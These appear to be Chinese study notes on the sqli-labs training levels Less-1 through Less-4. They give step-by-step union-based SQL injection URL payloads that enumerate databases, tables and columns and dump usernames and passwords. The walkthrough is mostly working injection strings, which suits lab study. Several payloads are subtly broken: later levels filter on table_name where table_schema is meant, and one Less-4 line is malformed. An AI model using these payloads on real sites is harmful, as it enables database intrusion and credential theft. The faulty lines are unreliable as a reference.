Less-1 到 Less-4 是联合注入
可以使用 union 语句,且有回显位
information_schema结构:
- information_schema.schemata:记录数据库信息的表
- information_schema.tables:记录表名信息的表
- information_schema.columns:记录列名信息的表
- schema_name:数据库名
- table_name:表名
- column_name:列名
- table_schema:表的数据库名
Less-1
闭合字符 '$id'
?id=1(正常显示);?id=1 and 1=2(正常显示) #排除
?id=1' --+(正常显示);?id=1' and 1=2 --+ (错误显示) #确定此题为字符型注入
#"--+":注释后面的内容,+代表空格,必须要空一格才能注释掉后面的内容
判断字段数:
?id=1' order by n --+
#order by:对指定的字段对结果集进行排序,如果没有该字段就会报错,sql注入用此来判断字段数
#字段数为3
判断回显位:
?id=-1' union select 1,2,3 --+
#select:从数据库中选取数据
#union:合并两个或多个select语句
#where:有条件地从表中选取数据
#limit 0,1:从0开始的1个数据,查询到的第一个数据
#源码:"select * from 表 where id=('$id') limit 0,1"('*'代表全部,在这里就是表中的所有列,union内部select语句必须拥有相同数量的列,这也就是为什么要判断字段数)
#回显位在 2,3处
爆库名:
?id=-1' union select 1,2,database() --+
#database():返回当前数据库
#库名为 security
爆表名:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+
#concat(str1,str2,...,strn) 将多个数据连成字符串
#concat_ws(sep,str1,str2,...strn) 将多个数据连成字符串,中间用sep分隔
#group_concat(str1,str2,...,strn) 将多个数据连成字符串,中间用','分隔
爆字段名:
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" --+
爆数据:
?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+
Less-2
闭合字符:$id
?id=1(正常显示);?id=1 and 1=2(错误显示)
#整形注入
?id=1 order by n
#字段数为 3
?id=-1 union select 1,2,3
#回显点位 2,3
?id=-1 union select 1,2,database()
#爆数据库 security
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_name="security"
#爆表名 emails,referers,uagents,users
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"
#爆字段名 username,password
?id=-1 union select 1,group_concat(username),group_concat(password) from security.users
#爆数据
Less-3
闭合字符:('$id')
?id=1'
#报错,提示 "1") limit 0,1'
?id=1') --+ #正常
?id=1') and 1=2 --+ #报错
?id=1') order by n --+
#字段数为 3
?id=1') and 1=2 union select 1,2,3 --+
#回显点位 2,3
?id=-1') union select 1,2,database() --+
#爆数据库 security
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_name="security" --+
#爆表名 emails,referers,uagents,users
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" --+
#爆字段名 username,password
?id=-1') union select 1,group_concat(username),group_concat(password) from security.users --+
#爆数据
Less-4
闭合字符:("$id")
#省略了一点
?id=1"
#报错,提示 '"1") limit 0,1'
?id=1") #正常
?id=1") 1 and 1=2 --+ #报错
?id=1") order by n --+
#字段数为 3
?id=1") and 1=2 union select 1,2,3 --+
#回显点位 2,3
?id=-1") union select 1,2,database() --+
#爆数据库 security
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_name="security" --+
#爆表名 emails,referers,uagents,users
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" --+
#爆字段名 username,password
?id=-1") union select 1,group_concat(username),group_concat(password) from security.users --+
#爆数据